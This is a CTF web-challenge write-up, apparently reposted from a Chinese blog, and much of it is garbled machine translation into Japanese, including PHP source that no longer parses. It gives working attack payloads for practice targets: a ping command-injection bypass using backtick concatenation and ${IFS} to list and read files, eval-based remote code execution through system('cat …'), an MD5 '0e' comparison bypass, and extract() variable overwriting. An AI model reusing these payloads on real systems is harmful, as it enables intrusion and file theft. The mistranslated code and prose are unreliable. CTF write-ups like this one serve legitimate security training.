[WP] [ウェブ]学校の生徒CTF | WebパーツWP

$ _GET

 

出典:

<?PHPの 
     SHOW_SOURCE__FILE__ )。
    含める「のconfig.php」をもし(!ISSET$ _GET [ '引数' ])){
         ダイス(); 
    } 
    もし$ _GET [ '引数が'] === "give_me_flag" ){
         エコー のfile_get_contents$ flag_of_get)。// フラグ
    }
?>

 

決定します  $ _GET パラメータの受け渡しは、その値が引数である場合 give_me_flag,就会打印 flag

 

$ _POST

 

ソース

<?PHPの 
     SHOW_SOURCE__FILE__ )。
    含める「のconfig.php」をもし(!ISSET$ _POST [ '引数' ])){
         ダイス(); 
    } 
    もし$ _POST [ '引数が'] === "give_me_flag" ){
         エコー のfile_get_contents$ flag_of_post)。// フラグ
    }
?>

 

フラグを取得し、Firefoxのhackbar質量参加を得て、閉じ同じに追いつくが、POSTをGETになりました

 

$ _COOKIE

 

直接アクセスが表示されます:あなたは、任意のプロンプトを表示せず、ソースコードを管理されていません

 

Etherealの外観:

 

クッキーがあります:レベル= 0、1つの外観には、

 

成功裏にフラグを得ました

 

SVN_Leaked

 

Lenovoは、SVN SVNのソースコードリーク、ツールのスイープを表示するには

 

そこSourceLeakHackerForLinux.py 

githubのプロジェクトます。https://github.com/Err0rzz/SourceLeakHacker

 

 

 

 

しようとした様々なパスから始めて、直接アクセス.phpファイルの結果は、フラグを取得することができます

 

それをリスト

 

ソースコードを見ると、いくつかの接続管理、およびアクセスを発見!

 

訪問後、私が見ました

 

私はこの質問にはナ最初の道路標識の問題に配置する必要がありますどのように感じるか、フラグを開いています。

 

change_and_download

 

ダウンロードしたファイル名がbase64エンコード形式で検索

 

そして、フラグを見つけるために時間よりも多くしないように、完成したが、この質問は非常にそれを行うのは簡単、そして自閉症である最初の時間を覚えてください!

 

ランダムに推測

 

あり、ソースコードを見る?デバッグ=真

 

 

プラス将来の源があるでしょう

 

発見extract($_POST),变量覆盖!!

パラメータの受け渡し:秘密鍵= 1&パスワード= 1、フラグを与えるために、

 

 

ランダム2をゲス

 

 

 

アクセスindex.php.bak、BAKファイルがダウンロード

<?php
    require_once 'flag.php';
    if(isset($_GET['mash']) and isset($_GET['hash'])){
     
            $res = sanitize($_GET['mash']);
            $hash = sanitize($_GET['hash']);
                    $secretValue = (rand(5,5555)*555+55555555555);
     
            if(($res != false) and ($hash != false)){
                    if($res.$secretValue == md5($_GET['hash'])){
     
                            echo $flag;
                    }
                    else{
                            echo 'Try Again ! ';
                           
                    }
            }
            else{
                    echo "No!!!";
            }
    }
    else{
            echo "<img src='http://sqlbak.com/blog/wp-content/uploads/2014/02/bak_file.png'>";
    }
     
    //function
    function sanitize($var){
            $valideChar = str_split('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
            $res = '';
     
            if(isset($var) and !empty($var)){
                    $tmp = str_split($var);
                   
                    foreach($tmp as $value){
                            if(in_array($value,$valideChar)){
                                    $res.=$value;
                            }
                    }
                    return $res;
            }
            else{
                    return false;
            } 
    } 
    ?>

 

首先 $_GET 传进两个变量,首先会经过 sanitize 进行处理,处理的过程大概就是将传入的字符串分割成一个一个的字符,然后看看在不在 $valideChar 里面,如果在的话就正常返回值

那么正常的输入字符串是没有什么问题的,剩下的就是绕过 MD5 了

 

只需要 MD5 开头是 0e,PHP 在进行比较运算时,如果遇到了 0exxx 这种字符串,就会将这种字符串解析为科学计数法,因为 0exx 都等于 0,所以让两者相等我们只需再找到一个 MD5 加密后开头为 0exxx 的字符串即可

需要注意的是,第一个参数是不经过 MD5 的,所以需要直接传入 0exxx 开头的,足够 32 位就可以

 

 Ping

 

命令执行绕过,试了试过滤了一些:一些命令

但是反引号可以执行命令

 

通过拼接,可以拼接出来:ls 命令

127.0.0.1;`a="l";b="s";c=$a$b;$c`

 

 

可以发现 flag 就是下面那一串 flag_ 开头的字符串

 

在拼接命令来查看:

127.0.0.1;`a="ca";b="t${IFS}fla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`

针对空格过滤,可以使用:

${IFS}

<  (也被过滤了)

$IFS

$IFS$9

来代替,但是考虑到在一串字符串中,所以使用 ${IFS} 来代替空格

 

Easy RCE

 

查看源码,发现

 

但是传值,总是出现问题,在题目的地方发现,可以查看 hint 

 

查看 hint

 

<?php
    eval($_GET['name']."!!!");    
?>

 

后面追加了三个 !!!,所以会有报错

 

知道问题了,只需要绕过就可以了

使用://就可以把 php 代码注释掉

?name=print_r(scandir('./'));//

 

?name=print_r(scandir('../../../'));//

 

 ?name=system('cat ../../../flag_bfe6335f68be16c1');//

 

おすすめ

転載: www.cnblogs.com/yichen115/p/11439507.html
WP2